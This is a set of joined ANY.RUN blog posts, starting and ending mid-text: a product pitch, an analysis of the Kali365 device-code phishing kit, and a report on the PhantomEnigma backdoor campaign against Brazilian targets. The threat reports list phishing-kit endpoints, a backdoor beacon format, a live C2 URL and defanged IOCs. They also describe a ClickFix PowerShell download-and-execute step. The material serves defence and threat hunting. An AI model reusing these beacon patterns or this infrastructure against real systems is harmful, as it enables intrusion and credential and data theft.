ANY.RUN helps more than 15,000 security teams reduce these delays with fresh threat intelligence, interactive analysis, contextual enrichment, and analyst-curated reporting. 

Here’s how your SOC can handle incidents more efficiently and save up to 21 minutes per case. 

Detect Emerging Threats Earlier with TI Feeds 

When threat intelligence arrives too late, SOC teams may only identify malicious activity after it has already reached their environment. ANY.RUN’s Threat Intelligence Feeds continuously deliver machine-readable IOCs collected from recent, real-world attacks, helping organizations detect emerging threats within 24 hours of their appearance. 

Each IP address, domain, URL, and file hash comes with context showing why it is malicious and how it was observed. Through ready-made connectors, APIs, and STIX/TAXII support, teams can send this intelligence directly to SIEMs, TIPs, SOAR platforms, firewalls, and other security systems. 

This allows detection rules and monitoring workflows to be updated continuously as new threats emerge, without requiring analysts to research and prepare every indicator manually. 

As a result, SOC teams can: 

• Detect emerging threats within 24 hours of their appearance 
• Continuously strengthen detection coverage with fresh IOCs 
• Reduce the time spent validating and enriching indicators 
• Update security systems without adding more manual work 

Speed Up File- and URL-Based Threat Triage 

Suspicious files and URLs can slow triage when analysts must reproduce user actions, inspect several data sources, and manually piece together the attack chain. ANY.RUN’s Interactive Sandbox brings this work into one browser-based environment, helping teams quickly determine whether an alert is malicious and what response is required.

Analysts can interact directly with files, links, phishing pages, and applications to reveal hidden behavior. Automated Interactivity performs repetitive actions such as opening attachments, following links, and launching payloads, allowing threats to expose themselves without adding more manual work for the SOC. 

Verdicts, process activity, network connections, IOCs, TTPs, screenshots, and behavioral evidence are available in one investigation view. Ready-made Tier 1 reports give analysts the context needed to validate alerts, prioritize incidents, and begin containment without escalating every case. 

Sandbox session links and downloadable reports also make it easier to share evidence, request a second opinion, and avoid repeating the same analysis across the team. 

As a result, SOC teams can: 

• Accelerate alert triage, with 94% of users reporting faster results 
• Reduce Tier 1 workload by up to 20% 
• Reach containment decisions with greater confidence 
• Reduce alert fatigue with immediate behavioral evidence 

Expand Threat Context for Faster Investigations 

Threat intelligence shortens investigations by showing what sits behind an isolated alert: the malware involved, related infrastructure, campaign behavior, targeted industries, geographic activity, and techniques observed in recent attacks. 

This wider view allows organizations to determine whether the activity is relevant to their environment, estimate potential exposure, and focus SOC resources on the most urgent incidents. 

ANY.RUN’s Threat Intelligence Lookup enriches IP addresses, domains, URLs, and file hashes with evidence collected from real-world investigations. Analysts can explore connected infrastructure, related files, network activity, malware behavior, and other indicators without searching across several external sources. 

This gives teams a clearer understanding of how the threat operates, how widely the activity may extend, and which assets or users may require further investigation. 

For deeper analysis, TI YARA Search allows threat hunting and detection engineering teams to find samples that share specific code patterns or malware characteristics. These findings can reveal related activity and support new or improved detection rules against similar attacks. 

Together, TI Lookup and TI YARA Search reduce repetitive research, expand the available evidence, and help teams investigate threats more thoroughly without delaying action. 

As a result, security leaders can: 

• Focus SOC resources on threats relevant to their industry, region, and environment 
• Reduce investigation time without increasing analyst workload 
• Gain clearer visibility into potential exposure and connected attack activity 
• Improve detection coverage against related and recurring threats 

Turn Analyst-Curated Research into Action 

Researching an active malware or phishing campaign can take hours. TI teams must collect indicators, connect them to related infrastructure, examine attacker behavior, and organize the findings before the intelligence can support detection and investigation. 

ANY.RUN analysts manually compile TI Reports on malware and phishing attacks, with particular attention to APTs and cybercriminal groups. Each report brings together the key details teams need to understand the threat, including campaign behavior, malicious infrastructure, IOCs, TTPs, and other evidence collected from real-world investigations.

Reports also contain ready-made TI Lookup queries that teams can use to enrich investigations and explore related activity without building searches from scratch. Relevant IOCs can then be added to SIEMs, TIPs, EDRs, firewalls, and other detection systems to strengthen coverage against the threat. 

This reduces the amount of manual research required from internal TI teams and shortens the path from learning about an attack to updating detection and investigation workflows. 

As a result, organizations can: 

• Reduce the time required to research complex campaigns 
• Gain deeper visibility into APT and cybercriminal activity 
• Give SOC and TI teams a clear starting point for investigations 
• Free internal specialists to focus on organization-specific risks 
• Turn expert threat research into stronger detections sooner 

The Result: 21 Minutes Faster MTTR per Case 

ANY.RUN helps security teams remove delays across detection, triage, investigation, and threat response. By bringing behavioral evidence, current threat intelligence, automation, and integrations into one connected workflow, organizations can reduce MTTR by up to 21 minutes per incident. 

This translates to: 

• More threats handled with existing SOC resources 
• Faster alert validation and investigation 
• Higher detection rates and wider threat coverage 
• Fewer unnecessary escalations to senior analysts 
• Shorter exposure windows and quicker containment decisions 

Organizations across different industries are already seeing these results.  

Expertware reduced malware investigation and IOC extraction turnaround time by more than 50%.  

UMass Boston shortened investigations from minutes to seconds and increased alert-processing capacity without adding headcount.  

A US automotive manufacturer doubled triage speed, reached a 20-second MTTD, and began analyzing hundreds of supplier files each week without expanding its team. 

These examples show how ANY.RUN helps security teams shorten the path from alert to containment, make response decisions faster, and reduce the risk of incidents escalating into wider business disruption. 

About ANY.RUN 

ANY.RUN, a leading provider of interactive malware analysis and threat intelligence solutions, helps organizations investigate threats faster andmake response decisions based on clear behavioral evidence. 

Its solutions include the Interactive Sandbox for enterprise-scale malware and phishing analysis, along with Threat Intelligence products built on investigationdata from more than 15,000 organizations. This intelligence helps security teams enrich alerts, uncover active threats earlier, and add relevant context to detection, investigation, and response workflows. 

ANY.RUN is SOC 2 Type II attested, demonstrating its commitment to strong security controls and customer data protection. For SOCs, MSSPs, and enterprise security teams, the platform helps reduce investigation uncertainty, accelerate triage, and turn threat analysis into actionable findings. 

The post Faster Incident Response: How ANY.RUN Helps SOCs Cut MTTR by Up to 21 Minutes per Case appeared first on ANY.RUN's Cybersecurity Blog.

This makes the attack harder for analysts to spot and more dangerous for the business. By obtaining OAuth access and refresh tokens, attackers may gain continued access to Microsoft 365 accounts, corporate email, documents, and cloud resources without stealing the victim’s password directly. 

Kali365 Attack Overview 

Kali365 is a phishing kit that uses the Device Code Phishing technique. These attacks abuse Microsoft’s legitimate device authentication process: the victim isshown a user code and persuaded to enter it on the authentic Microsoft Device Login page. 

Once the victim successfully authenticates, the attackers obtain the OAuth access and refresh tokens issued to the application or client that initiated the device code flow. 

As a result, the risk shifts from traditional credential theft to the abuse of access and refresh tokens. The attack also produces fewer conventional phishing indicators. The Microsoft login page remains legitimate, the victim enters their password on Microsoft’s website rather than on an attacker-controlled page, and the interaction resembles a standard device authorization process.

This can create blind spots in SOC visibility and make the attack more difficult to identify using traditional phishing detection methods. 

Kali365 SharePoint Lure 

The following ANY.RUN sandbox session shows an example of a Kali365 phishing page using a SharePoint-themed lure: 

View analysis session and gather IOCs 

Microsoft Device Login Flow 

After interacting with the lure, the victim is directed to Microsoft’s legitimate device login page, where they enter the attacker-provided code and complete the authentication process. 

Kali365 Telemetry: US Targeting and Industry Exposure 

According to ANY.RUN telemetry, the United States is the primary geographic target of Kali365. More than 80 public sessions linked to the phishkit are recorded in the ANY.RUN public sandbox each week, indicating a sustained focus on US organizations and Microsoft 365 users.

Kali365 activity spans a broad range of industries, with the strongest signals observed across MSSPs, manufacturing, technology, government and public administration, healthcare, and consulting.

Kali365 activity targeting the US and industries can be explored in ANY.RUN Threat Intelligence Lookup:

TI Lookup query: threatName:”kali365″ and submissionCountry:”US” 

This distribution reflects the nature of Device Code Phishing. Kali365 is not limited to a single vertical. Instead, it targets organizations that rely heavily on Microsoft 365 and cloud-based identity services, where compromised OAuth tokens may provide access to corporate email, documents, and internal SaaS resources without requiring attackers to steal the victim’s password directly. 

Another notable finding is that most Kali365 phishing pages observed by ANY.RUN use the .de top-level domain. 

Business Impact of Kali365 on US Organizations 

For US organizations, Kali365 can turn a single device authorization request into a broader cloud security incident. Once attackers obtain OAuth access and refresh tokens, they may continue accessing Microsoft 365 resources without needing to steal or repeatedly enter the victim’s password.

This can create several business risks: 

• Financial loss: Compromised email accounts can support payment fraud, invoice manipulation, and business email compromise.

• Operational disruption: Attackers may access or alter documents, communications, and cloud services used in daily operations. 

• Sensitive data exposure: Corporate email, internal files, customer information, and confidential business data may be exposed. 

• Higher response and recovery costs: Limited traditional phishing indicators can delay detection, expand the investigation scope, and increase containment efforts.

• Compliance and legal exposure: Unauthorized access to regulated or personal data may trigger reporting obligations and further scrutiny. 

• Loss of trust: A compromise involving customer communications or sensitive data can damage relationships with clients, partners, and employees.

Because the victim authenticates through a legitimate Microsoft page, the activity may initially appear routine. This can give attackers more time to abuse trusted accounts, move through cloud resources, and increase the financial and operational impact before the incident is confirmed.

Inside Kali365: Lure Templates, Phishing Flows, and API Endpoints

Using ANY.RUN’s in-browser data investigation, analysts can examine encrypted Kali365 code directly inside the Interactive Sandbox. Available through the Browser Data section, this capability provides browser-level visibility into the attack and reveals content that may remain hidden from static analysis.

Check browser-level data of the attack

Once decrypted, the code exposes a configuration built to support multi-brand impersonation and multiple phishing flows.

The design field determines which lure page template is displayed to the victim. At the current stage of the phishkit’s development, Kali365 includes 34 templates:

Explore Kali365 Lure Variants in ANY.RUN 

The following sandbox sessions show how Kali365 adapts the same phishing infrastructure to different trusted brands. Analysts can compare the rendered pages, inspect browser and network activity, and review the artifacts captured during execution.

Check DocuSign-themed lure

Check OneDrive-themed lure 

The code also contains a ready-made set of templates that operators can use to switch between different brands and phishing scenarios without rebuilding the underlying infrastructure. 

Another important configuration field is flow_type, which determines which Device Code Phishing flow Kali365 uses: 

Kali365 supports both Microsoft and Google device authorization flows. However, the Microsoft flow is used most frequently by its operators. 

Device-Code Session Creation Endpoints 

Kali365 uses the following endpoints to generate a device-code session and retrieve the corresponding lure configuration: 

• /api/generate?lure=<ID> 
• /api/lure-config/<ID> 

Device-Code Polling Endpoints 

The phishkit then uses separate polling endpoints to check the status of Microsoft and Google device-code sessions: 

• /api/status/<Number> 
• /api/google/status/<Number> 

Recommendations for SOC Analysts 

Kali365 investigations should go beyond the legitimate Microsoft or Google login page. Analysts need to identify the infrastructure that initiated the device-code flow and confirm whether OAuth tokens were issued or used. 

Reconstruct the full phishing flow: Analyze the original URL in ANY.RUN’s Interactive Sandbox. Use in-browser data investigation to inspect encrypted scripts, redirects, runtime content, and the transition from the lure to the legitimate device login page.

Extract Kali365-specific artifacts: Review the design and flow_type fields, lure IDs, redirect chains, domains, and backend paths such as /api/generate?lure=<ID> and /api/status/<Number>. These patterns may provide stronger detection signals than the Microsoft login page itself.

Investigate related campaign activity: Pivot on the extracted domains, URLs, IP addresses, and Kali365 detections in ANY.RUN Threat Intelligence Lookup to uncover connected infrastructure, submissions, hosting patterns, and targeting trends. 

Strengthen continuous detection: Use ANY.RUN Threat Intelligence Feeds to deliver fresh malicious domains, URLs, and IP addresses into SIEM, SOAR, and other security tools. This helps teams detect and block related phishing infrastructure beyond the initial investigation. 

Correlate with identity telemetry: Check for device-code authentication, unusual OAuth activity, token issuance, unexpected sign-in locations, and subsequent access to Outlook, SharePoint, OneDrive, Teams, or other cloud resources.

A password reset alone may not contain the incident. Analysts should also revoke active sessions and refresh tokens, review OAuth permissions, remove unauthorized application access, and investigate follow-on activity. 

Recommendations for CISOs and Security Leaders 

Kali365 shows why phishing risk can no longer be measured only by blocked emails or stolen passwords. Device Code Phishing can turn a legitimate authentication process into unauthorized cloud access, making identity visibility and token response critical parts of the security program. 

• Review the business need for device-code authentication: Restrict or disable the flow where it is not required, and apply conditional access controls to reduce unnecessary exposure. 
• Expand monitoring beyond passwords and endpoints: Ensure the SOC can detect unusual OAuth activity, token issuance, new application access, and suspicious use of Microsoft 365 resources. 
• Prepare for token-based compromise: Incident response plans should include session revocation, refresh-token invalidation, OAuth consent review, and investigation of mailbox, document, and SaaS activity.
• Improve visibility into active phishing infrastructure: Combine ANY.RUN’s solutions to support investigation, threat hunting, and continuous detection across the security stack.
• Measure response readiness: Track how quickly teams can confirm device-code abuse, identify affected accounts, revoke access, and determine whether attackers reached sensitive cloud resources. 

The goal is to stop a single authorization request from developing into business email compromise, data exposure, financial fraud, or wider disruption across the organization.

Conclusion 

Kali365 shows how phishing is shifting from password theft to the abuse of legitimate OAuth authentication. By using Microsoft and Google device code flows, attackers can obtain access tokens while much of the activity still appears legitimate. 

Its multi-brand templates make campaigns easy to adapt and scale across different industries. For US organizations, this increases the risk of account compromise, data exposure, fraud, and delayed response. 

Security teams need browser-level visibility, connected threat context, and fresh infrastructure data to identify these attacks earlier, confirm token abuse, and contain access before it develops into a wider business incident. 

About ANY.RUN 

ANY.RUN, a leading provider of interactive malware analysis and threat intelligence solutions, helps organizations investigate threats faster andmake response decisions based on clear behavioral evidence.

Its solutions include the Interactive Sandbox for enterprise-scale malware and phishing analysis, along with Threat Intelligence products built on investigationdata from more than 15,000 organizations. This intelligence helps security teams enrich alerts, uncover active threats earlier, and add relevant context to detection, investigation, and response workflows.

ANY.RUN is SOC 2 Type II attested, demonstrating its commitment to strong security controls and customer data protection. For SOCs, MSSPs, and enterprise security teams, the platform helps reduce investigation uncertainty, accelerate triage, and turn threat analysis into actionable findings.

Related IOCs 

• bluefoodtruths[.]xyz  
• flexiscalesystems[.]de  
• guardedwebsolutions[.]de  
• proforcstaffing[.]com  
• reputationboosters[.]de  
• guardextion[.]online  
• prowebsitemakers[.]de  
• onlinebrandinghub[.]de  
• onsite-developments[.]net  
• functionalityfirst[.]de  
• buildyouronlineidentity[.]de  
• flexievolve[.]de  
• cloud-microsoft-drive-for-business[.]workers[.]dev  
•  onlineidentityperfection[.]de  
• guardwebsolutions[.]de  
• securedecisionmaking[.]de  
• modernwebbalance[.]de  
• marketadaptabletech[.]de  
• waschmaschinenmarkt[.]de  
• txatvrk[.]net  
• hbaknoxvillecom[.]top  
• brandswithintegrity[.]de  
• turnideastoresults[.]de  
• wellpults[.]com  
• navigatingdigitalchange[.]de  
• qualityfirstonline[.]de  
• brandtrustmasters[.]de  
• theconsistencyfactor[.]de  
• reliablebusinesstech[.]de  
• performancereputation[.]de  
• dewdhurstlobl[.]com  
• securedecisionmakers[.]de  
• scalableadapt[.]de  
• trustinbrands[.]de 

The post Kali365 Targets US Organizations with Data Theft via Device Code Phishing  appeared first on ANY.RUN's Cybersecurity Blog.

ANY.RUN analysts have uncovered an active PhantomEnigma campaign abusing compromised government infrastructure and fake police-themed documents to target banking and public-sector organizations in Brazil. Trusted emails and legitimate .gov.br links are helping the operation stay hidden.

By linking hundreds of seemingly unrelated sandbox analyses, the team exposed a coordinated operation that can delay containment, increase investigation costs, and raise the risk of fraud, data exposure, and operational disruption. 

Key Takeaways 

• PhantomEnigma uses compromised Brazilian government systems for delivery: At least 20 .gov.br municipal and police portals were used to distribute malware, while compromised mailboxes allowed phishing emails to pass SPF, DKIM, and DMARC checks. These government systems are part of the delivery chain, not confirmed campaign targets.  

• ANY.RUN analysts uncovered a previously undocumented backdoor generation: A fresh sandbox detonation on July 12, 2026, confirmed the behavior in a live environment, showing that PhantomEnigma operates at least two beacon generations.

• The Ofício-PC quishing activity is linked to the same operator: The fake Polícia Civil QR-code PDF and ClickFix campaign included 99 sandbox analyses. At least four compromised government hosts delivered both Ofício-PC content and PhantomEnigma installers, supporting the assessment that it is another arm of the same operation.

• ANY.RUN exposed hidden infrastructure links, while the campaign’s code proved to be its most durable fingerprint: A recurring Delphi/Inno Setup and Node.js/Electron build chain identified 231 sandbox analyses even as domains, IP addresses, and delivery hosts changed.

PhantomEnigma Threat Report

Discover how one operation abused trusted infrastructure to evade detection:

• 20+ government websites hijacked
• Banking and public-sector organizations targeted
• Live backdoor activity still evading detection

Get FREE report

PhantomEnigma Threat Profile 

The profile below summarizes PhantomEnigma’s targeting, capabilities, scale, and potential business impact. It also shows why the operation is difficult to detect: it combines modular malware, frequently rotated infrastructure, and compromised government systems that make malicious activity appear legitimate. 

One Campaign, Multiple Attack Arms 

The activity first appeared to be two separate waves: Ofício-PC PDF attacks from January to April, followed by a Node.js/Inno campaign from May. However, the data shows both were active in parallel. 

The PDF arm peaked in February, while the Node.js/Inno backdoor remained active from January through July, with peaks in March and May. This suggests PhantomEnigma is one coordinated operation using several attack arms, shared compromised government infrastructure, and rotating C2 systems.

How PhantomEnigma Became Harder to Detect: Timeline and Evolution 

The timeline shows PhantomEnigma as one continuous operation. Gen A covers the extension-banker activity documented in public research in 2025. Gen B covers the 2026 activity observed directly in ANY.RUN, including the PDF delivery arm and the Node.js/Inno backdoor cluster. Although these were initially treated as separate phases, the data shows that they operated in parallel during the first half of 2026. 

The campaign evolved along two main paths: 

Target: In 2025, the activity focused on banking targets, including Banco do Brasil. By 2026, the operator was using compromised Brazilian public-sector email and hosting infrastructure. This reflects a change in delivery rather than a confirmed new victim group. Legitimate .gov.br systems gave the attackers a more trusted route to victims and helped malicious emails pass standard authentication checks.

Arsenal: The malware evolved from a browser-extension banker into a modular Inno/Node.js backdoor built around a patched Boostnote application. The download script became simpler, the decoy looked more legitimate, and the backdoor gained the ability to execute JavaScript or deliver additional files. Multiple beacon generations also remained active at the same time, using both GET and POST requests.

For security teams, these changes increase the risk of delayed detection and incomplete containment. Trusted infrastructure can reduce suspicion, modular payloads can change after the initial infection, and weekly C2 rotation can quickly make static blocklists outdated. Behavior-based detection, sandbox analysis, and continuous threat hunting are therefore more reliable than individual domains, hashes, or automated verdicts alone. 

PhantomEnigma Targeting: What the Data Really Shows 

Submitter data can indicate where activity is being observed, but it does not confirm individual victims. The figures may be affected by MSSP resubmissions, automated feeds, and the ANY.RUN user base. 

Key findings include: 

• Brazil is the strongest targeting signal: It represents 60.3% of the .gov.br delivery cluster and 46% of the operator C2 cohort. 
• Banking and MSSPs show the highest exposure: This aligns with public research documenting attacks against Banco do Brasil. 
• The apparent US concentration is misleading: Of the 77 US submissions, 66 came from one US telecommunications source and should not be treated as separate victims. 
• Adjacent clusters show different targeting patterns: The Eoto ClickFix and GitHub-to-StealC activity is not concentrated in Brazil, supporting its classification as separate operations. 

How PhantomEnigma Turns Detection Gaps into Business Risk 

PhantomEnigma’s use of trusted government infrastructure, clean-looking samples, and rotating C2 domains can delay investigation and give the operation more time to spread inside an organization.

The main business risks include: 

• Financial loss: Compromised banking, email, or system credentials can enable fraud and unauthorized transactions. 
• Delayed containment: Clean verdicts and fragmented alerts can hide the fact that several incidents belong to one coordinated operation. 
• Sensitive data exposure: The modular backdoor can collect system information, execute commands, and deliver additional payloads. 
• Operational disruption: A successful compromise can affect employee access, critical systems, and daily business operations. 
• Higher response costs: Repeated analysis, longer investigations, and late containment increase SOC workload and recovery expenses. 
• Regulatory and reputational damage: Delayed detection and data exposure can affect compliance obligations, customer trust, and partner confidence. 

For security leaders, the priority is to shorten the time between the first suspicious signal and confirmed compromise. This requires connecting behavior across files, infrastructure, and sandbox analyses instead of relying only on individual hashes, domains, or automated verdicts. 

Execution Chain: How the PhantomEnigma Attack Unfolds 

After analyzing the phishing email inside ANY.RUN’s Interactive Sandbox, we revealed the following attack chain: 

Initial delivery 
The victim receives a spoofed Polícia Civil or “Procuração Digital” notary email and follows a link to a compromised government host or a police-themed typosquat .com domain. 

Installer execution
The host serves a Delphi-compiled Inno Setup installer, such as Procuracao_Digital.exe. Once executed, it silently unpacks a patched Electron/Boostnote or another JavaScript-based application.

Backdoor activation
In the observed Boostnote version, the legitimate BoostIO note-taking application contains a malicious index.js file. The Electron host loads this script, which self-deobfuscates, sends victim system information to the C2 server, performs reconnaissance through child_process, creates persistence through a Run key, and enters its taskExecute loop.

Second-stage delivery
The server can return JavaScript for in-process execution through eval() or send an executable to be dropped and launched as a child process. This modular second stage is where the final payload, such as a stealer, loader, or remote management tool, is delivered.

Indicators That Survive Lure Changes 

Several artifacts remain visible even as file names and lures change: 

• The dropped Electron host appears as App.exe under is-*.tmp\<Name>Application\, including names such as DistroniceApplication and SmartSuiteifyUltraWare.
• The decoy binary is a patched Boost Note.exe, later renamed Grape.exe to avoid the known decoy string. Installation directories use random word combinations such as UltraSuiteSmartCoreware and ProSoftxUltraToolator.

Inside the Backdoor: Static Deobfuscation and Live Re-Detonation 

This investigation revealed backdoor behavior that we found was not documented in previous public research. To validate it, ANY.RUN analysts completed two controlled steps: extracting and deobfuscating the dropped index.js file, then re-detonating the original installer to confirm the behavior in a live sandbox environment.

First, analysts recovered the real resources\app\index.js file, measuring 239,459 bytes, from the anchor session’s full JSON report. The file was extracted with 7-Zip and deobfuscated in Python without being executed through Node.js or eval(). 

The analysis reversed two layers of obfuscation. The Boostnote wrapper used an obfuscator.io string array with a custom lowercase-first Base64 alphabet, while the malicious strings were stored as character-code arrays and decoded through String.fromCharCode(…).

This build also differed from the generation described in earlier public research. It did not contain the 1874371588 XOR scheme or the laravel string, indicating a simpler but distinct version of the backdoor. 

The deobfuscated logic showed that the malware: 

• Sends system information to the /nbw/ endpoint 
• Creates a persistent eight-character machine ID in %APPDATA% 
• Reads an affiliate or campaign tag stored beside the installer 
• Checks for new commands every 180 seconds 
• Executes JavaScript directly through eval() 
• Drops and runs executable files 
• Establishes persistence through setLoginItemSettings 

The deobfuscated backdoor, shown in simplified pseudocode: 

A New Beacon Generation

The recovered sample sends a POST request to /nbw/ with a JSON body containing the machine ID, computer name, username, and campaign tag.

This differs from the previously documented GET request: 

/laravel.php?api=api&hash=<b64>&message=PT1n<b64> 

The evidence therefore indicates that PhantomEnigma operates at least two beacon generations. Despite the different communication formats, both share the same Delphi/Inno and patched Boostnote build chain, modular JavaScript or executable payload delivery, and login persistence. 

A fresh detonation on July 12, 2026, confirmed the behavior in a live environment. The sample resolved and sent a POST request to: hxxps://zsxocjarsate[.]com/nbw/ 

This confirmed that the deobfuscated /nbw/ path was actively used and identified zsxocjarsate[.]com as a live C2 domain. The analysis also recovered the dropped index.js hash: 71f69978667dc421e7edf8885e9f3bde9dd527d9f7974228c9a6eac84c2ab71c

The static code analysis and ANY.RUN’s live sandbox behavior produced matching results. 

Why Build-Chain Evidence Outlasts Rotating Infrastructure 

Known C2 domains help connect related activity, but they are not reliable enough to serve as the main detection key. The largest seed domain, policiacivilmg[.]com, appears in only 34 of the 231 core sandbox analysis sessions, or 15% of the cluster. The previously cited figure of 55 refers to index-wide DNS activity, not sessions within the core cluster. 

The full ten-domain seed set covers only 77 of the 231 sessions, or 33%. Two-thirds of the cluster never contacted any known C2 domain. Instead, those sessions used compromised .gov.br hosts or infrastructure that had already rotated out of view. 

To find a more stable signal, ANY.RUN analysts used Threat Intelligence Lookup together with YARA and static detection tags to search across the samples’ build characteristics.

Individually, the tags are common across the dataset: 

• nodejs: 2,496 sandbox sessions 
• inno: 10,719 sandbox sessions 
• delphi: 17,233 sandbox sessions 
• installer: 11,567 sandbox sessions 

The combination reflects the recurring build chain: a Delphi-compiled Inno Setup installer carrying an embedded Node.js or Electron application. The Combined, however, the four tags identify exactly 231 sessions. The nodejs and inno combination alone also returns all 231, providing full recall across the cluster.

The three tags come from ANY.RUN YARA and static detections applied to the sample bytes, including: 

• Compiled with Borland Delphi 
• Detects InnoSetup installer 
• Node.js compiler detected 

This means analysts can identify the malware by its build characteristics even as the operator changes C2 domains, IP addresses, and compromised delivery hosts. 

Use the following TI Lookup query to find related activity involving compromised Brazilian government infrastructure: 

TI Lookup query: domainName:”.gov.br” AND threatName:”nodejs” AND threatName:”inno*” 

The initial ANY.RUN’s Threat Intelligence Lookup query provided a broader starting point for identifying related sandbox sessions. Analysts could then combine the build-chain tags with stronger campaign indicators, such as known C2 infrastructure, compromised .gov.br hosts, beacon IP addresses, and the /laravel.php or /nbw/ communication patterns.

Attribution with Broader Detection Coverage 

ANY.RUN analysts identified 231 sandbox analyses that share the same distinctive build chain. This wider cluster gives defenders a strong basis for threat hunting, even when domains, IP addresses, and delivery infrastructure change. 

Within that cluster, approximately 108–125 analyses also contain stronger PhantomEnigma indicators, including known C2 infrastructure, compromised .gov.br hosts, beacon IPs, and the /laravel.php or /nbw/ communication patterns.

This gives defenders two useful levels of visibility: a wider cluster for threat hunting and a more tightly attributed core for higher-confidence investigation and response. It also allows the campaign to be tracked broadly without overstating which samples can be linked directly to PhantomEnigma.

How PhantomEnigma Rotates Its Infrastructure 

PhantomEnigma uses several separate infrastructure layers for delivery, command-and-control communication, and data exfiltration. This structure helps the operation rotate domains and compromised hosts without changing its underlying malware. 

The main infrastructure includes: 

• Delivery domains: Cloudflare-fronted .com domains, including randomly generated names and Polícia Civil lookalikes such as policiacivilmg[.]com, pccvill[.]com, and zsxocjarsate[.]com.
• Origin infrastructure: DNS records linked some delivery domains to likely origin servers behind the Cloudflare proxy. 
• Beacon infrastructure: Separate IP addresses hosted the /laravel.php system-information endpoint and other backdoor communications. 
• Compromised delivery hosts: At least 20 legitimate Brazilian government portals were used to distribute malicious files or redirect victims. These include marapoama.sp.gov[.]br, poa.sp.gov[.]br, and areal.rj.gov[.]br, as well as newly observed hosts including timon.ma.gov[.]br, loginam.sesp.es.gov[.]br (state public security), aplicacao.cbm.mt.gov[.]br (fire department), prodoc.ap.gov[.]br, and others. 

The compromised government systems appear to be independently affected legitimate websites rather than infrastructure owned by the operator. Their use gives the campaign a trusted delivery channel while making malicious activity harder to separate from normal traffic.

The infrastructure also rotates regularly. In several observed cases, the compromised delivery host and associated C2 domain changed together over a period of weeks. 

For defenders, this means blocking a single domain or IP address may provide only temporary protection. Monitoring recurring build characteristics, backdoor communication patterns, and newly compromised delivery infrastructure provides more durable coverage as the campaign evolves. 

Observed PhantomEnigma C2 Infrastructure 

The table below shows representative domains linked to the campaign and illustrates how PhantomEnigma combines police-themed lookalikes with randomly generated domain names. 

The changing domain set reinforces why defenders should not rely on a single IOC or static blocklist. Detection should also cover the recurring build chain and backdoor communication patterns. 

The Ofício-PC Phishing and Delivery Operation 

During the investigation, ANY.RUN analysts examined what initially appeared to be a separate Brazil-focused phishing operation. The campaign used fake “Ofício” and “Intimação Polícia Civil” PDF documents designed to look like official law-enforcement communications.

The files followed a consistent naming pattern, including examples such as DOC_<CNPJ>.pdf, and some contained the EXIF title “Ofício Polícia Civil.” Victims were encouraged to scan a QR code embedded in the document, which redirected them through a bare-IP PHP cloaking service. 

The cloaker classified visitors as either “Real” or “Fake” and redirected selected users to a fraudulent “Verificação de Acesso” page. This page used a ClickFix-style prompt that instructed the victim to run a PowerShell command. The command downloaded oficioprotocolo.tng and executed it through iex, allowing the attack to continue beyond the initial PDF lure.

ANY.RUN analysts identified 99 sandbox analyses associated with this delivery arm, with a more tightly defined core of 95.  

The activity was observed between January and April 2026 and peaked in February, when 75 related analyses were recorded. No new activity appeared in the dataset after April 23, 2026. However, the backend IP 195.177.94[.]103 remained active as of July 10, 2026, suggesting that parts of the infrastructure were still operational even after the observed delivery activity declined. 

From ClickFix to Cobalt Strike 

The final activity visible inside the sandbox led to the Zabbxsoftware “Zab agent” kit. This infrastructure used operator-created paths such as: 

• /zab/agent/send 
• /api/request/<uuid>/status 

The kit first communicated with logs.zabbxsoftware[.]com and later rotated to oauth.openvpnet[.]com. The delivery chain ultimately led to a Shellter-packed Cobalt Strike payload. 

A loader named oficio<digits>PCAP.exe, with SHA-256 beginning 7de52b73…, appeared in eight sandbox analyses and received a clean verdict. External malware repositories and vendors also identified the file as associated with Cobalt Strike and Shellter. 

Why We Link This Activity to PhantomEnigma 

The strongest connection is the use of the same compromised government infrastructure. 

At least four legitimate .gov.br and .jus.br hosts were used by both the Ofício-PC phishing arm and the PhantomEnigma Inno/Node.js installer activity. 

The two arms also use the same Polícia Civil theme and rely on compromised public-sector infrastructure to make their delivery activity appear more trustworthy. 

The Ofício-PC analyses generally stop at the PowerShell download stage, before the Node.js/Inno installer becomes visible. For that reason, the absence of Node.js and Inno Setup tags in these analyses does not indicate a separate operator. It reflects the stage at which the observed execution ended. 

A build-chain comparison alone is therefore not enough to separate the two arms. PhantomEnigma appears to use different delivery chains for different parts of the operation, while reusing infrastructure, themes, and supporting components. 

Based on the shared government hosts, matching Polícia Civil lures, and sandbox-visible delivery behavior, ANY.RUN assesses the link to the same operator with medium-high confidence. Additional email evidence and the installer-to-BAT second-stage connection further strengthen this assessment. 

For security teams, recognizing these links matters. Treating the Ofício-PC activity and the Inno/Node.js backdoor as unrelated campaigns could hide the true scope of the operation, fragment investigations, delay containment, and increase response and recovery costs. 

Defining the PhantomEnigma Cluster Boundaries 

During the investigation, analysts identified several adjacent malware clusters that initially appeared connected to PhantomEnigma. These included malicious GitHub releases, a help.bat loader, and Steal Cactivity linked through shared scripts and public metadata. 

Further analysis showed that these clusters should not be included in the confirmed PhantomEnigma activity based on the available evidence.

The help.bat / kak[.]is loader uses a logic-identical template across 56 sandbox analyses. Its execution chain includes get_it.php, Base64-encoded data.json, a password-protected archive, file staging in PUBLIC\Documents, a timed delay, and MSI execution.

However, this loader did not overlap with the core PhantomEnigma build-chain and backdoor signals. Instead, it delivered commodity malware such as HijackLoader, Emmenhtal, ClickFix, and other MSI-based payloads. No PhantomEnigma Node.js backdoor was observed in this cluster.

The GitHub-to-StealC activity also showed important differences. It lacked the same installer and backdoor characteristics, used separate infrastructure and registration patterns, and had a different submission profile. The proposed connection relies partly on GitHub commit metadata that is not visible in the sandbox and is not enough on its own to confirm a shared operator.

The evidence therefore supports treating these clusters as adjacent activity that may reuse common tools or distribution methods, rather than confirmed PhantomEnigma operations. Keeping them separate helps maintain accurate attribution and prevents unrelated malware from being grouped into the campaign without sufficient evidence.

Attribution Assessment 

The evidence supports the existence of a coordinated campaign focused primarily on Brazil. The earliest related activity in the dataset dates to January 13, 2026. 

One of the strongest delivery findings involved an email sent from a Brazilian police department. The message passed SPF, DKIM, and DMARC checks, indicating that it was likely sent through a genuinely compromised mailbox rather than from a simply spoofed address. The recovered email and the accompanying “Ofício Polícia Civil” PDF further confirm the use of official-looking police communications as a phishing lure. 

The assessment is supported by several independent technical signals, including: 

• A recurring Delphi/Inno Setup and Node.js build chain 
• Patched Boostnote applications containing the malicious index.js backdoor 
• The <name> communication pattern, which sends victim system information, including the computer name and username 
• Known campaign domains and seed indicators 
• Compromised Brazilian government infrastructure used across related activity 
• The classification of taaeiuep[.]com as associated with Inno Setup, Procuração Digital, and Brazil-focused malicious activity 

